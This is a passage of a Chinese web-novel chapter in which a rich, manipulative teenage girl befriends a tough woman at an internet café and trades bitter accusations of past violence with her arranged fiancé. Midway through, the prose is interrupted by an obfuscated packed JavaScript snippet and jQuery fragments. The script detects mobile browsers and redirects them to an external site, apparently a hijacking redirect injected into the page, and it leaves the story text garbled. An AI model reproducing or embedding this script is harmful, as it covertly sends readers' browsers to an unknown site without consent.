女人高大且强壮。古铜色小臂裸露在被随意卷起的白T袖子外,这是陆林在现实里的最完美的肌肉纹路,和那些花孔雀完全不一样。
披散的黑色长发在她身上没有一丝一毫的柔顺感,反而为她增添了浓烈的侵略性。
就像是狮子,就算它此刻正懒洋洋的趴在那,你也会感受到蓄势待发的危险与攻击。
见那个漂亮的小女孩眼不眨地看向自己,时殷将嘴里叼着的烟取下夹在自己手上,走到她身边,目光落在她放在口袋里的手,眨眨眼:“小妹妹,口袋里有什么?细皮嫩肉的,危险物品小心把自己伤了哦。”
“刀片,姐姐。”陆林乖乖地将刀片拿出来,因为握的力度不小,她的手关节早就被划伤了,但陆林毫不在乎,她歪着头,用真正近乎于撒娇的语气,问:“我可以抽一口你的烟吗?姐姐。”
时殷起了兴趣,朝她勾了下手:“来。”
陆林也就真的凑过去,在她的嘴唇刚要碰上的那一瞬,烟被女人取走。
“算了,还是等你成年再找姐姐要烟吧。”
无所谓,因为她今天真正感兴趣的东西,并不是烟。
“好的,姐姐。”陆林从善如流,甜甜地问:“姐姐叫什么名字呢?”
“时殷。”女人说完从她桌上把刀片收走,“网吧不允许带危险物品,姐姐给你没收了,等你什么时候走了再找姐姐要。”
“对了,”时殷没走几步,想起什么,转头:“小妹妹,看在你这么可爱的份上,姐姐提醒你一下,下次遇到这种情况最好还是不要和他们起正面冲突了。”
她将烟重新叼在嘴里:“都是一些人渣小混混,欺软怕硬的货色,专挑你们这种未经世事的小女孩下手。”
“嗯,那姐姐你呢?为什么他们那么怕你?”
时殷盯着陆林那双澄澈的眼睛几秒,勾唇一笑:“因为啊,姐姐也是一个人渣小混混。”
陆林眯眼笑:“原来当个人渣小混混就可以吓死这些臭虫啊。”
“你这个小姑娘倒是很有意思。”时殷终于开始认真打量她,“想和姐姐套近乎?”
“是。”陆林点点头,大方承认,毫不掩饰她的意图。
时殷将烟摁灭在烟灰缸里,挑眉:“怎么?想和姐姐学打架?”
“可以吗,姐姐?”陆林认真询问。
时殷有些好笑,面前的少女一看就知道是个娇生惯养出来的大小姐,要不是目睹了她辱骂那些刺头男的全过程,任凭谁都会把她当成乖乖女,此刻说出要学打架的话,实在很难让人觉得这是认真的。
“看你背的包是名牌吧?大小姐也需要学打架吗?嘶,在我的印象里大小姐成年后周围都是保镖啊。”
是啊,照理说,陆林根本没有必要有这样的担心,她的力量在同性中数一数二,虽然没有经历过系统的特训,但她闲暇时也不懈怠自己的体能,更何况她会有保镖,也总会有很多钱。
在这个世界,想悄无声息地弄死些蝼蚁再简单不过了。
可是,在她遇险的时候保镖恰好不在,该怎么办?冒犯她的人恰好比她更强,更有钱,该怎么办?
就像刚才,连几个下贱的垃圾都可以毫不畏惧地随意挑衅她,她真的能放心吗?
陆林不喜欢把不确定□□给别人。
“好啦,小妹妹,姐姐忙去了,有空多来找我玩。”时殷最后还是没有把她的话当真,她摆摆手。
陆林执行力很高,立刻开始思考可行的应对之策:她的学校,周六周日都是可以自由进出校园的,她可以在这些时间段去学专门的防身术,当然,这需要陆原西和宋桉点头同意。
该死,为什么世界上存在那么多不可控因素?
她烦躁至极,刚想把脑袋放空,重新戴上耳机,就听到耳后传来一声隐含薄怒的叫唤——
“陆林。”
这个声音今天她已经在电话里听过很多遍了。
“呀,沈大少爷,”陆林脚尖用力,将椅子转过来,捂着嘴很震惊的模样,“刚刚不是说什么,‘你真把自己当公主了吗?’,怎么此刻还跟狗一样巴巴地将自己送过来找我,你不会想告诉我说这是恰巧吧?”
沈栖没有理陆林这一顿夹枪带棒的嘲讽,他沉声:“你准备玩到什么时候?”
这话说的,好像她真是什么玩弄别人感情的渣女一样。
“你是在吃醋吗?沈栖。”陆林翘着腿,笑眯眯地反问。
沈栖冷笑:“我只是想提醒某个人,还顶着沈氏未婚妻的名头,不要在外面做得这么过火。”
“我早说了,受不了就去求一求最疼爱你的沈叔叔和叶阿姨,让他们和陆原西宋桉争取把我们这个可笑的约定撤销了,可不知为何沈大少爷就像个受虐狂一样,说什么也要和人家绑定在一起。”
“到底怎么了嘛,”陆林慢悠悠地,“难不成真爱上人家了?”
“爱上你?”沈栖就像是在咀嚼这三个字,“陆林,这个世界上谁敢爱上你?爱上你这个变态,疯子,杀人狂?”
“你说我是杀人狂?沈大少爷,你怎么会这么不要脸?”
陆林张开手掌,上面还有一点划痕:“要不要我帮你回忆回忆是谁每次都在我能触碰到的各种地方放刀片?是谁小时候在礼物盒子里放图钉放刀具放爬虫?是谁在大人看不见的地方掐我?”
沈栖看着陆林手上几乎全要退散尽的红痕,胸口上下起伏,咬牙:“这一点伤除了你自己还有谁能注意到?陆林,你敢说对我哪次没下死手?用盘子砸,用针戳,用热油泼,在我长跑完推我?你哪次不是抱着想弄死我的决心?!我不过就是让你受点皮外伤,你就在这里叫唤上了?!扮什么无辜受害者呢?!”
老天!陆林第一次感受到男的可以这么小肚鸡肠,恬不知耻到这个地步:“作恶还分什么轻重缓急,高低贵贱?!再说你不是也没死,至于动那么大怒火吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364001|183835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈栖闻言瞪着她,眼里的恨意几乎要溢出来。
陆林也不甘示弱地回瞪:“况且,既然你也知道我现在还顶着沈氏未婚妻的名头,那我让你去接我你怎么不去?还有那脸站在道德制高点指责起我来了,装什么贞洁烈男呢?”
“如果我说我去接你了呢,陆林。”沈栖的面色突然沉寂下来。
“那你难道就不该死了?”很明显对方对他这句话无动于衷,“对自己的未婚妻满口谎言的人,就是人渣,道德水平最低下了。”
总之一句话,她是绝对不可能有任何错误的,她就是真理,毋庸置疑。
沈栖算是知道了,跟陆林这样的人是无法讲任何道理的,她是个彻彻底底的自恋狂,做任何事情都只想着自己。
恐怕就算有歹徒把陆原西和宋桉绑到她面前威胁她,她也只会打着哈气说好烦,嫌他们影响到她休息玩乐。
想到这里,他的声音一寸一寸冷下来:“所以不管怎么样,你都不会和我回去,是吗?”
“不回去又能如何,怎么,咱们沈栖小朋友又要哭唧唧地回去告状啦?”陆林柔声调笑着,好像真的把他当成了一个只会撒泼打滚的孩子。
“行啊,”沈栖拉开板凳坐下,将长腿委屈地挤在狭小的空间里,“我看着你玩,等你什么时候玩够了,什么时候就跟我回去。”
陆林斜眼看他,惊诧:“你什么时候这么好脾性了?这里又没有人认识我们,也没人能揭开你的嘴脸,别演了。再说看我流落在外你不该开心得要死吗?”
沈栖诡异地沉默许久,最后一把将自己额前碎发烦躁地抓起:“你的脑子里只有目的阴谋论是吗?行,老子告诉你!你妈已经打电话给我妈了,说你昨晚没和我在一起,问我怎么不照顾你这个柔弱单纯的女孩子,现在知道了吗?跟我回去,你也不需要在这里凑合,我也能和她们交差。”
这是陆林第一次见沈栖恶声恶气地爆粗口,看来他是真的被两位母亲联合攻击了许久才会如此急切地想让她回去,以至于宁愿屈尊呆在这个乌烟瘴气的地方和她拉持久战。
所以,有请求的人是沈栖。
“好啊,那你就求求我,态度放尊重一点,说不定我一好心就跟你回去了呢?”
沈栖瞪大双眼,一副听不懂中国语言的模样。
怎么?她的话是很让人费解吗?
陆林好心地又重复一边:“求我。”
沈栖不可置信:“让你和我回去还需要我求你?陆林你别真把自己当回事了。”
“明明我回去会让你获得好处,可你闭口不提,摆出一副为我着想的作秀姿态偷换概念,试图掩盖你的真实目的。要不是我知道你是个什么样的人,我差点就相信你是真毫无私心地想帮助我了。咱们沈少爷,原来是个这么自私的孩子吗?”
“求人就要摆出求人的态度啊,你说对不对?都有求于我了,还来欺骗我这颗脆弱的心灵,真让我悲痛欲绝。”